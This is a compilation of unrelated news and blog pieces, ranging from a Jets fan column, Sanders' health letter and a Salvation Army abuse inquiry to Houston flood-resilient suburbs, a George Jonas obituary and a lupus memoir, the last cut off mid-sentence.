The players aren’t tanking and it is good for the team long term if the players are improving and are more competent than expected. At the same time, the front office making business decisions down the stretch if/when the playoffs are out of the question, is completely logical. This team has a handful of players who are worth your time each week and another handful who may be worth your time. You need to watch to figure it out. Overall, be happy football is back. You like football. I like football. Have a sense of humor about the team’s situation. Root for them to win…or don’t. Run your mouth to Bills, Dolphins, Giants and Patriots fans when applicable because if you can’t run your mouth a little, what’s the point of being a fan and watching sports? – Photo Credit: NewYorkJets.com Related -(CNN) Sen. Bernie Sanders released a letter from his doctor on Thursday saying he is "in overall very good health." The letter was issued by Senate physician Brian P. Monahan who has treated Sanders for the last 26 years, according to the letter. It is customary for presidential candidates to make public their health records during the campaign season. Sanders, who would be 75 on inauguration day, would also be the oldest president ever elected. Ronald Reagan, the current titleholder, was just a couple days shy of his 70th birthday when he first took office. "Over the years you have been treated for medical conditions including gout, mild hypercholesterolemia, diverticulitis, hypothyroidism, laryngitis secondary to esophageal reflux, lumbar strain and complete removal of superficial skin tumors," Monahan wrote. "Your past surgical history consists of repair of your left and right side inguinal hernias by laparoscopic technique, and a right true vocal cord cyst excision." -Man accused of stealing ATM with forklift Add "forklift" to the list of ways to get around ATM fees. Unless, of course, someone is watching. Orphey Wilson, 40, wore a ski mask as he apparently worked alone early Sunday to unbolt an ATM from Bank of America at 18505 Champion Forest in Spring, Harris County Precinct 4 Constable Assistant Chief Mark Herman said. He said he then used a stolen forklift to load the machine into a stolen U-Haul. A witness called authorities, who arrived seconds after Wilson pulled away. He was arrested less than a mile from the bank. Wilson's criminal history already included two jail stints for felony theft and criminal mischief charges. He now faces charges for felony theft of over $200,000 and criminal mischief. Each charge could result in jail time of between five and 99 years in prison, Herman said. And there's the possibility of an even heftier price tag: Because the targeted bank property is insured by the Federal Deposit Insurance Corporation, the incident may result in federal charges, Herman said. ATM thefts are rare and there are usually no witnessese, he said. "We have had it happen in the past, but this is the first time where we've actually caught the individual and recovered the property," Herman said. zain.shauk@chron.com -(Image: Stephen Voss/Alamy) When the criteria for diagnosing autism were changed last year, concerns were raised that people already diagnosed might be re-evaluated and end up losing access to treatments and services. The American Psychiatric Association (APA), which publishes the diagnostic guidelines, recommends that children who are receiving appropriate treatment as the result of the old criteria should not be required to undergo a re-examination with the new criteria by insurance companies. But a small survey revealed to New Scientist suggests that not everyone is following the party line. Advertisement In May, the APA published the DSM-5, the latest edition of what has come to be known as psychiatry’s diagnostic bible. One controversial change was to the criteria used to diagnose different kinds of autism, which are now combined under the umbrella term of “Autism Spectrum Disorder” (ASD). Under the previous criteria of DSM-4, a person would be diagnosed with ASD by exhibiting at least six of 12 behaviours, which include problems with communication, interaction and repetition. Now, that same person would need to exhibit three deficits in social communication and interaction and at least two repetitive behaviours – the latter, say critics, makes the new criteria more restrictive. Diagnosis: in question To see how the change in criteria was affecting people, Autism Speaks, a US science and advocacy organisation, asked users of its website to complete an online survey about their experiences. “We wanted to ensure that people are still maintaining access to the services they need,” says Michael Rosanoff, Autism Speaks’ associate director for public health research and scientific review. Around a third of the 611 people that have so far replied to the survey say that they have been asked by schools or health organisations to have their diagnosis re-evaluated under DSM-5 criteria, Rosanoff told New Scientist. “Some of these people also report having lost access to services and treatments,” he says. Rosanoff admits this survey is small and self-selecting, but says it is enough to ring alarm bells. One anonymous respondent said that the regional centre that funds services for her son is seeking to have him re-evaluated despite a 10-year well-established diagnosis of ASD. The UK National Health Service says that changes to the DSM-5 will have a limited impact on mental health care in the UK, as psychiatrists tend to diagnose mental health disorders using the World Health Organization’s International Classification of Diseases rather than the DSM. Those who are treated privately are also unlikely to be affected as, according to the UK health insurers approached by New Scientist, they don’t tend to cover the treatment or assessment of autism. The changes are most likely to be felt in the US, the country that most heavily relies on the DSM for diagnosis. None of the US health insurers approached were available for comment. Moving the goal posts However, the APA is clear that no one already diagnosed should be re-evaluated. “We made this recommendation from a public health and practical perspective since disruptions in effective treatment would be counterproductive to kids,” says Darrel Regier, vice-chair of the DSM-5 task force and director of the APA division of research. Despite these assurances, the results of the Autism Speaks survey have prompted the organisation to fund a bigger study in conjunction with Yale University to identify the effects of DSM-5 in terms of ASD prevalence and access to services. An indication of how the new criteria might affect the prevalence of ASD was published this week. Matthew Maenner at the US Centers for Disease Control and Prevention in Atlanta and colleagues analysed data from 644,000 children across the US who were 8 years old in 2006 or 2008. The data was from a monitoring network that collects ASD behaviours documented in medical and educational evaluations. Of the 6577 children classified as having ASD based on the DSM-4 criteria, only 5339, or 81.2 per cent, also met the DSM-5 criteria. Interestingly, 304 children would have been diagnosed with ASD under DSM-5 but not under DSM-4. Consequently, the team conclude that ASD prevalence will likely be lower under DSM-5 than under the previous edition of the manual. “Ultimately time will tell how this will affect prevalence,” says Maenner. “It’s reasonable to think that doctors will identify symptoms that receive greater attention in DSM-5 and actively document these if they think it will help people receive treatment and services.” Journal reference: JAMA Psychiatry, DOI:10.1001/jamapsychiatry.2013.3893 -A new poll shows that more than half of the country thinks the media is too tough on President Trump. According to the results of a poll conducted by the Wall Street Journal and NBC News, 51 percent of Americans think the media has been too critical of Trump since he won the presidential election in November, while 41 percent think the coverage has been “fair and objective.” Only 6 percent said the media had not been critical enough. That same poll — which surveyed 1,000 people — found that 53 percent of people think the media has exaggerated problems in Trump’s White House, while 45 percent believed the coverage was accurate. The poll also found that 40 percent of people whose primary news source is MSNBC agreed that “the news media and other elites are exaggerating the problems of the Trump administration, because they are uncomfortable and threatened by the kind of change that Trump represents.” President Trump railed against the “fake news” media while giving a speech to conservatives at the Conservative Political Action Conference on Friday. “I want you all to know that we are fighting the fake news,” he said. “It’s fake, phony, fake. A few days ago I called the fake news the enemy of the people, and they are. Because they have no sources. They just make it up when there are none. They make up sources. They’re very dishonest people. They did not explain that I called the fake news the enemy of the people. They dropped off the word fake. That’s the way they are. I’m not against the media. I’m not against the press.” WATCH: -Young boys were locked in a cage for days on end as part of a brutal regime of physical and sexual abuse meted out to dozens of youngsters at Salvation Army homes in the 1950s, '60s and '70s, a royal commission into child-sex abuse has heard. And the Salvation Army's leadership often failed to discipline or remove the perpetrators, but simply moved them to other homes where they frequently continued the abuse. The revelations came during the first public hearing in Sydney by the Royal Commission into Institutional Responses to Child Sexual Abuse for 2014. In his opening address, counsel assisting the commission, Simeon Beckett, said the focus of the hearings would be on the "contemporaneous response by the Salvation Army and relevant government agencies to child-sex abuse within the Alkira home for boys in Indooroopilly, Queensland; the Riverview Training Farm, also in Queensland; Bexley Boys home in North Bexley; and the Gill Memorial Home in Goulburn". Advertisement "It will examine processes at the time to identify, investigate, discipline, remove, dismiss and/or transfer persons accused of or found to have engaged in child sexual abuse," he said. "The evidence will explore whether those who maintained the homes jointly engaged in child sexual abuse and whether the position of manager was used to frustrate the making of complaints of sexual abuse and their investigation." The commission will focus on the alleged abuse inflicted by Salvation Army officers Laurence Wilson, Russell Walker, Victor Bennett, John McIver and Donald Schultz on boys aged from about six to about 17. On Tuesday, it heard that the violence and sexual abuse inflicted on the boys at the homes was at "the severe end of that examined by the commission" during the course of its investigations. "The boys were frequently punched with a closed fist, thrown on the ground with force, hit with straps until they developed welts or bled," Beckett said. They were repeatedly anally raped and forced to undertake oral sex on their house parents. They were also abused by other boys at the homes. One witness, ES, is expected to tell the commission that he was placed in a cage on the verandah of the Riverview home for nine days. Upon his release, he was allegedly sodomised by Bennett, his house parent. McIver allegedly broke one boy's arm during an assault and on another occasion refused to allow a boy with a dislocated shoulder to attend hospital, instead forcing the injured shoulder "back into its socket". Boys who complained were often disbelieved and severely punished, Beckett said. "Some will indicate that even when they ran away they were returned to the home where they were physically punished," Beckett said. "Many didn't complain due to fear of punishment and retribution." At the Riverview farm, one witness would tell how he was made to sort fruit and vegetables given to the farm to feed the animals, picking out what could be given to the boys, Mr Beckett said. If he made a wrong choice, he was flogged. "Other forms of punishment included sweeping the playground with a toothbrush, cleaning 50 pairs of shoes ... and on one occasion forcing a boy to eat his own vomit." Beckett said the Salvation Army had a policy of simply moving officers to different homes rather than properly disciplining them or ensuring they had no further contact with children. He said the commission would hear from two former house parents, Cliff and Marina Randall, who were dismissed after making a complaint against Mr McIver. Three of the five officers being examined are still alive - McIver, Schultz and Walker. Only one was charged; Walker with an act of indecency. They deny the allegations against them. Wilson died in 2006. The hearing continues. -After Harvey, Houston's sprawling developments have been blamed for contributing to flooding of those downstream by paving over the prairies and ecosystems that once stored and drained water. The outer-ring suburbs of the Houston region, it turns out, are more complicated than that and, in some cases, have been places of design innovation that could teach the rest of Houston some lessons about living in floodplains. The story of our flooding problem, like most environmental hazards, starts with natural resources sold as commodities. From about the 1830s to 1870s, "earlier settlers made a ton of money off plantations because [the land along Houston's bayous] was so fertile," says Keiji Asakura, Principal Designer at Asakura Robinson, a planning, urban design, and landscape architecture firm. Well before urbanization, farmers raising cattle and growing crops like cotton and rice fundamentally changed the soil. In addition, farm-to-market roads and railroads displaced organic drainage patterns. Coastal prairie that took root in Houston for thousands of years was decimated in a few decades. Urbanization further altered soils and drainage. Bayous were dug up then paved over. More and more highways, more and more parking lots. And as the Chronicle reported, the detention of water in new developments was not mandated until 1984 and is not enforced well over time. In this past half-century, a different story has unfolded in some master planned communities along Houston's periphery where designers and developers have tested bold ideas. Design with nature: The Woodlands "Let us abandon self-mutilation which has been our way and give expression to the potential harmony that is man-nature. ... To do this he must design with nature," the chief landscape designer for The Woodlands, Ian McHarg, implores in his book "Design with Nature." This principle — work with, not against, a site's natural condition — was first promulgated in The Woodlands in the 1970s and continues to hold sway in developments surrounding Houston. Two of the most notable master planned communities currently under construction are Springwoods Village — just south of The Woodlands — and Cross Creek Ranch out in Fulshear. You wouldn't guess it from the repetitious McMansions, but these three developments are unique — indeed, radical for their time — with their respect to the piney woods and coastal prairies they replaced. The Woodlands was conceived from the most unlikely of sources: George Mitchell, an oil tycoon hoping to develop a piece of land thirty miles north of Downtown Houston along I-45. His conversion was recently written about in the Chronicle by Loren Steffy and unfolds in greater detail in Ann Forsyth's book Reforming Suburbia: "McHarg suggested using the natural drainage system of the Woodlands site to structure development. This would, he noted, help reduce the prospects for flood damage. Ever the geologist, Mitchell asked. 'All right, natural drainage works, but what does it mean to me?' 'First, George, it means you'll get $50 million from HUD and, second, it will save you even more money,' McHarg responded. 'For instance, you won't have to build a storm drainage system. This will save you $14 million for the first phase alone.' And so McHarg converted the oilman into an ecologist." This conversation vastly underplays the technology needed to employ natural drainage systems. Dr. Phil Bedient, now a professor in Rice University's Civil Engineering Department, reminisced about being a hydroengineer on the project some four decades ago. A preliminary survey of the site showed Dr. Bedient and his team that one-third of the property was on the 100-year floodplain, with flat land and thick woods promising stagnant rainwater throughout. Undeterred, Mitchell and McHarg planned for retention ponds, golf courses and forest preserves to be in the most flood-prone areas. This accomplished two goals: it kept personal property away from low elevation sites and instead programmed a dual purpose for recreation on otherwise clement days. The early stages of planning had very little to do with return on investment for number of buildings on the land; rather "landscape [was] used very consistently as a basic framework underlying the urban design of The Woodlands, with villages, transportation corridors, and commercial centers having secondary importance," as Forsyth writes. It was a special set of circumstances that made The Woodlands possible: I-45 had just been completed; the U.S. Housing and Urban Development Department (HUD) had a well-endowed yet unaccomplished new program, Title VII, for the country's first round of master-planned communities; and the Mitchell family could bankroll an entire city's worth of development during the first few decades of growth. The Woodland's greatest advantage, though, was having Ian McHarg as the lead landscaper. It was this canvas, in all its flood-prone glory, where he first applied this revolutionary theory of landscape. The Woodlands was indeed an anomaly for its time. Recent reincarnations copy the natural aesthetic of The Woodlands — its most lucrative attraction — and paste it onto landscapes without thinking through the differences in context. A retention pond with a fountain does not a Woodlands make. Most of the 6-million-plus people in Houston's metropolitan area live in these more mundane suburbs. I grew up in one myself. But the Greater Houston area has a handful of exceptional master-planned communities improving upon The Woodlands legacy. I learned a bit about two of the most intentionally sustainable master-planned communities currently being developed — Springwoods Village and Cross Creek Ranch — but the list could go on. Up in Cypress is Bridgelands, with landscape design by OJB, which normalizes green roofs and rain gardens, and in Fort Bend County there is Harvest Green with landscape design by SWA Group. I will focus on just the two: Springwoods Village and Cross Creek Ranch. Springwoods Village Before writing this article, I knew that all the lakes in Texas were manmade and that all the "lakefront" properties of the suburbs were really retention-pond-front properties. After interviewing Keiji Asakura about his firm's role in the planning of Springwoods Village, I came to realize these "fake" lakes represent a major shift. The goal of flood management infrastructure, especially after World War II, was to move large volumes of water away from development as fast as possible. This strategy didn't work for a number of reasons, mostly because channel intersections became flooded bottlenecks. Not so nice to those downstream. More recently, since the '80s, the goal became "to first slow the water to lower the peak in any way we can," says Asakura. The new question is how to create more time for rainwater, thereby lowering peak volume. Rather than expunge rainwater as channels do immediately or detention ponds do eventually, retention ponds collect rainwater from the source and retain it for slow evaporation into the atmosphere and percolation into the soil. Retention ponds do one of two things that every landscape architect and environmental engineer seems to agree will mitigate Houston's flooding: one is "holding water where it falls," says Bedient, and the other is "increase vegetation with good roots and open up that soil mass," says Asakura. This latter method, "good roots," is the same one I mentioned that was destroyed by early settlement of the coastal prairie. The benefits of deep-rooted, tall grass are numerous. Typical lawn grass sequesters approximately 100 pounds of carbon per acre. The grasses seeded in Springwoods Village and Cross Creek Ranch sequester 6,000 pounds of carbon per acre. They also are flexitarians, adept at absorbing large volumes of water or surviving without such luxuries. You can very easily find both of these methods — the retention and the roots — in Springwoods Village. Off I-45 and Grand Parkway, you are immediately met with traffic medians lined with detention ditches for capturing water at the source. These medians, along with the lakes, parks and all other opportunities for landscaping, were outfitted with tall grasses indigenous to the region. All the utilities of a community have been bundled into its infrastructure, bringing together roads, pipes, drainage and vegetation and freeing up the remaining space for parks, lakes, houses and, of course, ExxonMobil's campus. Cross Creek Ranch Fifty miles west then south of Springwoods Village on Grand Parkway is Cross Creek Ranch. Houses there are suspiciously similar to those of Springwoods Village (and all their lakes similar to those of Minnesota), but the land upon which they stand are not. Despite driving past the same empty ranch and plantation land surrounding both developments, 50 miles of separation left room for the piney woods of The Woodlands to become the Katy Prairie of Cross Creek Ranch. Johnson Development Corp. purchased the property as nuded pastures with the early intention of "doing something that was green and sustainable," says Matthew Baumgarten, SWA's lead landscape architect on the project. They did so through a number of means, both familiar and novel. "Just like any other master-planned community, there's a very large basin that stores a 100-year event" but, on a normal day, acts as a wetland park, says Baumgarten. There's that dual purpose again. Like Springwoods Village, traffic medians at Cross Creek Ranch are lush with "Tall Grass Zones" and backyards are resplendent with lake views. There is also the development's namesake, a three-mile-long restored creek that used to be a watering hole for cattle. Baumgarten planned for "all those things to look like landscape features" to the casual observer but subtly detain a "100-year" flooding event. From my experience in Cross Creek Ranch, subtlety verged on invisibility. Finding the creek was surprisingly laborious: The band of bordering wetlands were maybe five- to 10-feet wide and recessed well-below street level. Once I spotted it, I arbitrarily parked and stepped into 110-percent humidity to walk through muddy, freshly mowed grass which gave way to unmowed tall grasses and wildflowers recently soaked by rain the night prior. At last, there was a narrow stream with a smattering of plant diversity modeled after the Katy Prairie. The creek resembles Buffalo Bayou Park, which is no coincidence. SWA's success in creating "synthetic nature" along the bayou caught Johnson's attention, which requested a similar approach here. Unlike Buffalo Bayou Park, there weren't paths or a recreational space to lure neighbors to the creek. This might explain why my guide, Christian, a five-year resident of Cross Creek Ranch, didn't know there was an actual Cross Creek. His high school buddies and his little brother didn't know they were participating in a natural restoration project, either. Reform In the wake of Harvey, flooding is understood as an existential threat to this region. As the Cite magazine editorial committee noted: "Three major flooding events in little over two years time, the Memorial Day floods (2015), the Tax Day floods (2016), and now Harvey (2017)" that should only be happening once every century are symptoms of an ongoing crisis. I began writing this article months before Harvey and the conclusion I had in the works is suddenly far more urgent. Though I have moved to Chicago, it is impossible for me to disconnect from the deluge of friends checking themselves in as safe, the articles proclaiming "catastrophe," the texts and phone calls from friends and family promising me they are OK. The eyes of the world are on the place I will always consider home. And everyone has an opinion. Journalists, experts, and politicians are keen to draw or deny a causal relationship between Houston's lack of zoning and Harvey's destruction. A voice that breaks through the discordant noise is Mayor Sylvester Turner's, who tweeted, "Zoning wouldn't have changed anything. We would have been a city with zoning that flooded." It's tempting to overextend the importance of zoning, which is about separating different types of land uses (residential, commercial, industrial), and to equate the lack of zoning with Houston's sprawl. What we lack in zoning inside Houston tends to be made up for with other types of development codes for everything from the number of parking spaces to elevation above the 100-year floodplain. Danny Samuels, Professor of the Practice at Rice Architecture, observes that "zoning made no difference," but newer houses up to stricter building code weathered the storm far better. In addition, Albert Pope, also at Rice Architecture, and many others have argued that we should not be building in the 100-year floodplain at all, and that vacating this space would open opportunities to organize dense developments around bigger green spaces. In other words, Houston would do well if it learned from and adapted lessons from its master-planned fringes. The Woodlands, Springwoods Village and Cross Creek Ranch appear to be doing well, on the whole, considering the magnitude of the storm. The Woodlands had water on its streets during Harvey, and 220 people had to be rescued, or 0.2 percent of the total population, according to Steffy's report in the Chronicle, with "the hardest-hit areas border[ing] Spring Creek." Nearby, Springwoods Village volunteered themselves and their resources for afflicted Houstonians. About five houses flooded in the Audubon Grove section, according to two sources. The Kinder Institute tool showing where buildings are expected to have flooded marks a few properties in that section of Springwoods Village along Spring Creek. I checked in with Christian about his family and neighbors in Cross Creek Ranch; he said they are "really lucky ... no one got flooding in their house." The systems the architects put in place appear to have performed the way they were designed to. They captured water and absorbed it as quickly as possible. While these master-planned communities received Harvey well, they are not the solution to Houston's flooding problem. Even if a single well-designed development manages to hold more floodwaters than before it was built, all the energy and infrastructure required to service it is not sustainable in terms of maintenance costs, carbon emissions or any other measures. Think of the billions of dollars spent on new and widened highways like the Grand Parkway. They are still suburbs and lack the diversity of uses, people and building types that make cities thrive over time. Neither the landscape architect, Asakura, nor the engineer, Bedient, expect Houston to be retrofitted along the lines of The Woodlands after decades of unconstrained development. But these case studies in sustainably designing Houston's native ecosystems is evidence that the city can do better. That we don't have to combat nature, but can design with nature. That we must do better for more than just the folks who can afford a quarter-acre plot of land in a refurbished prairie or the 385-acre ExxonMobil campus in former greenfields. With the stormwaters receded, it's time for those who can plan for reconstruction to do so immediately. My favorite issue of Cite was published in Fall 1997, when I was just 2 years old — Cite 39: Texas Places. The magazine opens with an interview of a personal hero of mine, Larry McMurtry, who is best known for his novel "Lonesome Dove," which, for so long, I read as a tragic romantic comedy about Texas' Wild West glory days. The interview reveals otherwise. McMurtry calls his work "a critique of ... the myth of the cowboy" and expansion to the West "a failure because of the destruction of the environment, the landscape and the indigenous population." In the myth's wake are ghost towns squelched of any optimism that settled the damned place. It is unsurprising that McMurtry sets many of his novels and movies in Houston. Like the western plains of Texas, Houston "never really has been controlled ... it's always been fairly wide open, filled with graft and corruption." Correlations between Houston's unconstrained development and that of the Wild West have been made for as long as it's been heralded as America's largest unzoned city. But this relationship is often used as justification for continued expansion. Our Manifest Destiny. For so many years, development patterns in Houston have approached nature as an adversary, laying ever more concrete and exploiting its flat surface, ever chasing the bottom line. Perhaps Harvey has exacted extreme enough damage for us to take what has worked in a few parks and neighborhoods here and there and scale up working with nature. Geneva Vest is a graduate of Rice University and a writer living in Chicago. This article originally appeared on OffCite, a publication of the Rice Design Alliance, a community engagement program of Rice Architecture. Bookmark Gray Matters. Everyone has an opinion. -A journalist, novelist and poet, Hungarian-born Canadian writer George Jonas was best known for his non-fiction book “Vengeance,” about five Israeli agents sent to hunt down and assassinate those responsible for the massacre of 11 Israeli athletes at the 1972 Munich Olympics. The book served as the basis for two films, “Sword of Gideon” (1986), and Steven Spielberg’s “Munich” (2005). Jonas, who died Sunday at the age of 80, escaped his native Budapest in 1956 following the Hungarian Revolution. He made his way to Canada where he worked as a producer for three decades for the Canadian Broadcasting Corporation. Interestingly, the biography on his official website makes no mention of his WWII experiences as a young boy. He did, however, work of them in his memoir, “Beethoven’s Mask,” in which he told of how he and his parents, Christian converts who were born to Jewish families, survived the Holocaust. Get The Times of Israel's Daily Edition by email and never miss our top stories Free Sign Up While at CBC, he collaborated with famous defense lawyer Edward Greenspan on “Scales of Justice,” a program about famous crimes. Inspired by a 1970s murder case in which Greenspan defended Peter Demeter, who was accused of ordering a hit on his model wife Christine, Jonas wrote the bestseller “By Persons Unknown” together with his then-wife journalist Barbara Amiel. Arguably Jonas’s most famous work, “Vengeance” was controversial, with doubt cast on his single source, an Israeli agent named “Avner.” The Mossad would neither deny nor confirm the existence of this informant, and some claimed that “Avner” had no rank higher than an El Al baggage handler. “Jonas himself checked Avner’s story by using the methods employed by police in criminal investigations, visiting the scenes where the terrorists were killed, verifying the physical details given by his source, and so on. Avner’s account checked out well. Jonas concluded that Avner was telling the truth in general, even if some of his points were not confirmable. That is about as near to the truth as we are ever likely to get,” wrote the National Review on the matter. In more recent years, the witty and conservative (he preferred “classic liberal”) Jonas published columns on subjects such as law, war, politics, Islamism and multiculturalism in the right-leaning Canadian National Post. In its obituary for Jonas, the paper emphasized his ability to sum up deep ideas with pithy aphorisms. “Politicians who seek high office, for example, should be disqualified for being stupid enough to think they can do it. Crime is not wrong because it is illegal, it is illegal because it is wrong. Cold War Communists ‘could cope with bankruptcy; they had never been anything but bankrupt, beginning with Karl Marx himself.’ Freedom is too fragile to put into words, so ‘if you write down your rights and freedoms, you lose them,'” the National Post gave as examples. “His elegance had a magnificent compression to it,” said his conservative colleague Mark Steyn. Jonas was named to the Order of Canada in 2014. Canada’s Governor General called his writing “clever, unafraid and compelling.” Amiel, who was the second of Jonas’ three wives, insisted that they get married by a rabbi in a synagogue. The rabbi, the renowned late Gunther Plaut, was sure of Amiel’s Jewish heritage, but was dubious of Jonas’ Jewish identity, given that he had never set foot in a synagogue before. “Rabbi, if I was good enough for Hitler, I’m good enough for you,” Jonas told the rabbi. Although Jonas was Jewish, he was reportedly in denial of this to a certain degree for most of his life. He had been taught by his father back in Hungary to keep his religious identity hidden. Or as his father put it, to keep his penis in his pants. -Abraham Hollingsworth is one of five bike mechanics who help out at new community workshop Bike Space on Marion St. There is a new, bright blue shipping container in town with a unique aim: to get your bike working. Bike Space, a community workshop dedicated to demystifying bicycles, opened in Marion St on January 16. The goal is to empower people to develop the skills needed to maintain their bikes, therefore getting more people out riding them. SUPPLIED The space is equipped with tools and machines to help with bike problems such as recabling brakes, and adjusting gears and wheels. It houses bike tools and work stands and, when it is open, there is someone on hand to provide helpful tricks and tips. READ MORE: *Hopes to boost cycling with increased bike parking in central Wellington *Commuters can have it both ways with first bike racks added to buses in Wellington *Road to NZ's brave new cycling world will have plenty of bumps, so how will we do it? The workshop is a collaboration between Wellington City Council and bike repair workshop The Mechanical Tempest, which have partnered with local businesses and community members to keep costs down. Garage Project has provided discounted rent for the current location. The Mechanical Tempest member Arthur Price says the first week of operation was "really positive", with a lot of interest and people stopping to see what is going on. There are five mechanics who share the workload, with tools and machines to help with bike problems such as recabling brakes, as well as gear and wheel adjustments. The mechanics are there to give guidance and share advice, but the idea is for people to do the work on their own bikes, Price says. Mechanic Sylvie Froncek says it is about putting tools in peoples hands and sharing knowledge so others become confident fixing their own bikes and being out on the road. Workshop environments are traditionally male-dominated, she says, and she hopes to make this a "safe space" for women to feel empowered to use tools and be independent. Council transport choice coordinator Hugh Wilson says Bike Space came together quickly over the course of a few months. The space has a budget of $12,000 and Wilson says the council funded it as a way to encourage and support people to ride bikes as an affordable mode of transport and help reduce congestion and emissions in the city. The container is easily transportable on a truck, taking about five minutes to be placed in its current location, he says. They will soon begin to look for locations beyond March 23, when their current arrangement with Garage Project ends. Bike Space is open in Marion St from Tuesday till Saturday, 11am to 6pm, until March 23. -Today, bankers are rearranging their chess boards, trying to figure out which companies may want to make moves, and which ones might be ripe for the taking. That has kept the bankers in technology and health care busy. Some of the top companies on everyone’s watch list include Alphabet (Google’s parent company), Amgen, Apple, Cisco, General Electric, Hewlett-Packard, Johnson & Johnson, IBM, Microsoft and Oracle. Yet at the moment, the potential for tax reform in 2017 has led some companies to delay deal making, according to Marc Zenner, the co-head of J.P. Morgan’s corporate finance advisory team. Image Lawrence J. Ellision, chief executive of Oracle, at a hearing over his company’s takeover bid for PeopleSoft in 2004. Oracle used repatriated funds to buy PeopleSoft and another software provider, and then eliminated thousands of jobs, a congressional study found. Credit Paul Sakuma/Associated Press “What you’ve got right now is a fair bit of uncertainty about what the state of the world will be next year with taxes,” he said. “If you don’t have to do this deal right now, maybe you can wait until next year so you can finance optimally.” Still, some boards appear to believe they may get a better price if they sign a desired deal sooner rather than later. If tax rates decrease, a company’s profitability increases, making it a more expensive acquisition target. And, if all of the repatriating companies go after the same targets, that could drive up the price as well. “What people fear is that if everyone waits for clarity on timing and specific tax treatment, the markets could be a lot higher, purely as it relates to this influx of capital,” Peter A. Weinberg, founding partner at Perella Weinberg Partners, said. “Do you commit capital today with the risk of timing, or do you wait for certainty and risk paying more than you would today?” Mr. Weinberg said that if there were a significant reduction of the tax rate, companies would bring at least $1 trillion back, an amount large enough to affect the prices of equities and debt. Some companies may not be interested in deal making. Apple, which has the largest overseas cash load, is historically not a big acquirer; its largest purchase was its $3 billion deal for Beats Music and Beats Electronics in 2014. Microsoft, with the second-largest cash hoard, will most likely still be digesting its $26 billion acquisition of LinkedIn, announced in June. -4K MEDIA LICENSING DEALS BRING NEW Yu-Gi-Oh! COLLECTIBLES Funko and GameStop to Introduce More Yu-Gi-Oh! Branded Products Globally 4K Media Inc., the Konami Digital Entertainment, Inc. subsidiary that manages the Yu-Gi-Oh! brand outside of Asia, today announced it has signed licensing agreements with both Funko, a purveyor of pop culture and licensed-focused collectibles, and GameStop, a global retailer of specialty brands and games. The two deals – negotiated and announced by Jennifer Coleman, Vice President of Licensing and Marketing at 4K Media – bring a new array of Yu-Gi-Oh! collectibles to the worldwide marketplace (outside of Asia). “We are elated to welcome both Funko and GameStop to the Yu-Gi-Oh! family. We are impressed with both companies’ creative designs for new and engaging collectibles encompassing so many of our central characters and monsters,” said Coleman. “Yu-Gi-Oh! fans around the globe eagerly await each new licensed product introduction, which not only keeps the brand fresh and front of mind, but also serves to invigorate demand for all things Yu-Gi-Oh!” Funko will be launching a line of stylized vinyl collectible figures and other related products focusing on the fans’ favorite Yu-Gi-Oh! characters and monsters. Funko CEO Brian Mariotti said, “We’re tremendously excited about Funko’s development of a Yu-Gi-Oh! collectibles line and are honored to be associated with a brand that continues to entertain and engage fans that span such a broad demographic around the world.” GameStop is also creating a distinctive line of 4-inch Yu-Gi-Oh! collectible figurines available to Yu-Gi-Oh! fans on its on its website(s) and in its stores, as well as in many of its partners’ stores around the world. “Yu-Gi-Oh! has had nice success as a trading card game, which makes the brand an ideal fit with GameStop, as one of the largest suppliers of the cards globally” added Alex Jones, Senior Manager of Licensed Products – International at GameStop. “Our loyal game playing customers will be thrilled with this new array of exclusive Yu-Gi-Oh! collectible characters we will be introducing to our stores.” -I love late night texts from exes. You know, the ones where they just want to see how you’ve been and what you’ve been up to. HI WHATS UP HAVEN’T TALKED TO YOU IN A WHILE HOW ARE YOU WHERE ARE YOU LETS GET BACK TOGETHER I MISS YOU SERIOUSLY WHERE ARE YOU RIGHT NOW?????? I am, from time to time, an ex-texter myself. But I do it gracefully. WHATEVERR JUST BECAUSE SHE CAN SPEAK 4 LANGUAGES DOESN"T MEAN SHE;s COOl. HAVE FUN WITH THAT I HEAR SHE HAS THE CLAP LOLZ. Okay so yes, that happened. Once. But I’ve learned. Here are a few things to remember when you feel the need to ex-text. 1) First and foremost, be sober. Please. This is great advice for driving, updating facebook, and answering your phone when your mom calls. It’s a given. 2) Don’t preface the text with some bullshit excuse for texting. So I need to get my copy of 8 ½ back because it’s a Criterion Collection and my sister gave it to me before she moved to Ohio and I’m really in the mood for a movie with subtitles to half-watch while making my Halloween costume. Who gives a shit? He knows you’re bullshitting and really just want to say “How’s it going?” So just say it, Susie Excuses. 3) Sober or not, no late night texts. Don’t. This screams: I’M ALONE IN BED RIGHT NOW WATCHING ROSEANNE ON NETFLIX. 4) If he texts you, don’t text back right that second. He needs to know that you’re out doing things and being awesome and not actually just staring at your phone constantly because all you do now is play Words With Friends while also doing the aforementioned activity in tip number 3. You’re a busy girl with numerous IRL friends and gentleman callers. Wait 4 hours to 4 days. You are the honey badger, and honey badger don’t care. 5) Always let him be the last to text. Don’t make it some long back-and-forth where you’re the last one to ask “So did your little sister’s dance recital go well? I still had it on my phone calendar. :P ” with no response from him. It’s the same advice I’d give you if you were high around a cop: Be Cool. In order to do this I would suggest trying to channel John Legend. Fucking King Of Cool. Come to think of it, this probably should have been tip numero uno because when you’re drunk you’re not going to listen to my bullshit advice anyway because he NEDS TO KNWO HOW U FEEEEEELLLLL DUH!!!! This list is going to have to stop at 5 because I’m starved and one of my MANY Smart Ones frozen dinners is calling my name. LISAAAAAA I’M ONLY 280 CALORIES BUT I STILL CONTAIN CHEEEEEEEEEESE. NUKE ME AND CONSUME ME, BITCH. It’s my own personal Call of the Wild. -Atlanta (CNN) My name is Lauren Lee. I'm an associate producer at CNN, and I have systemic lupus erythematosus. It's an autoimmune disease where the body's immune system becomes hyperactive and attacks healthy tissue. It can cause damage to many parts of body such as joints, skin, kidneys, heart, lungs, blood vessels and the brain. Lupus is one of the most complicated and cruelest autoimmune diseases. Simply put: It's difficult to diagnose, hard to live with and challenging to treat. If I could write a letter to lupus, I would say "I want me back, I've had enough." As a junior at Kent State University, I felt like I was on top of the world. I went to a great school, I was doing exactly what I love (journalism), and then on September 11, 2001, I began to get unexplained illnesses one after another. Eventually, I landed in a hospital bed with an IV pumping a cocktail of drugs meant to cure "a series of infections" ravaging my body. When I finally felt reasonable enough to go to class, I couldn't remember things. My essays, as one professor told me, suddenly "read like ramblings." I wasn't me. In April of 2014 Lauren Lee spent time in the hospital getting infusions to help deal with a flare up of Lupus. A flare is a period of heightened disease activity. That semester, I ended up taking incompletes in all of my classes. My doctors and professors declared I was overwhelmed with catching up in my classes and the anxiety of it all consumed me. Little did I know that it would be a decade later before I would officially find out it was really systemic lupus erythematosus. My diagnosis came as I was entering what I considered the magical 